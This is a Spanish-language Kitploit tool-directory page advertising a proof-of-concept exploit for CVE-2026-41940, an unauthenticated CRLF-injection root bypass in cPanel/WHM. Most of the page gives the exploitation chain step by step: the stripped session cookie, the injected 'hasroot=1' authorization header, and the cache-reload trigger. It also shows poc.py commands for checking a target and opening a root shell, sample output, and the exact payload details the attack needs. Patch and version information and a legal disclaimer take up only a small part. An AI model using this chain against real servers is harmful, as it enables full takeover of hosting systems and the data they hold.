Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

Prueba de concepto de exploit para CVE-2026-41940, una omisión crítica de autenticación en cPanel/WHM mediante inyección CRLF, que permite acceso root no autenticado y shell interactivo.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
21hace 3 mesesAún no revisado

CVE-2026-41940 — cPanel/WHM Bypass de Autenticación

Autor: SilySec
Investigación original: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Severidad: Crítica (CVSS 9.8)
Tipo: Inyección CRLF → Bypass de autenticación → Shell root


Descripción

CVE-2026-41940 es una vulnerabilidad crítica en cPanel/WHM que permite a un atacante no autenticado obtener acceso root completo mediante una inyección CRLF en el gestor de autenticación Basic de cpsrvd.

La falla combina tres debilidades:

  1. Inyección CRLF sin filtrar — la función saveSession() en Cpanel/Session.pm no sanea los caracteres \r\n antes de escribir en disco cuando la clave <ob> está ausente en la cookie.
  2. Codificador desactivado — sin el segmento <obHEX> en la cookie de sesión, el codificador por sesión no se activa, dejando los bytes CRLF escritos en claro en el archivo de sesión.
  3. Recarga de caché — Cpanel::Session::Modify::save() vuelve a leer el archivo bruto y promueve las claves CRLF inyectadas en la caché JSON, haciendo que la sesión quede completamente autenticada.

Versiones afectadas


Cadena de explotación

root@kitploit:~
POST /login/?login_only=1          [contraseña incorrecta]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Eliminar ,<obHEX>  →  :ID          [desactiva el codificador]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd escribe los bytes CRLF brutos en el archivo de sesión

GET /scripts2/listaccts + Cookie: :ID   [sin token de seguridad]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► caché JSON reconstruida con hasroot=1, tfa_verified=1

→ Sesión autenticada como root

Uso

Requisitos previos

root@kitploit:~
pip install requests
# Para el modo --terminal (opcional):
pip install paramiko

Verificación de la vulnerabilidad

root@kitploit:~
python3 poc.py --target https://OBJETIVO:2087

Obtener un shell root interactivo

root@kitploit:~
python3 poc.py --target https://OBJETIVO:2087 --terminal

Forzar el hostname canónico

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.ejemplo.com

Ejemplo de salida

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.ejemplo.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Puntos técnicos importantes

  • El hostname canónico debe usarse en el header Host (no la IP) — cpsrvd gestiona las sesiones de forma diferente según el hostname
  • El timestamp en el payload debe ser 9999999999 (fijo, futuro lejano) — un timestamp actual falla
  • El orden de las claves en el payload inyectado es importante: successful_internal_auth_with_timestamp debe ir primero

Corrección

El parche mueve la llamada a filter_sessiondata() dentro de saveSession() y añade una codificación condicional cuando la clave <ob> está ausente, impidiendo cualquier escritura en claro.

Actualizar cPanel/WHM inmediatamente a las versiones corregidas listadas arriba.


Advertencia

Esta herramienta se proporciona únicamente con fines de investigación y pruebas internas. Cualquier uso en sistemas sin autorización explícita es ilegal. SilySec declina toda responsabilidad en caso de uso indebido.

Descargar herramienta
RamaÚltima versión vulnerableVersión corregida
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6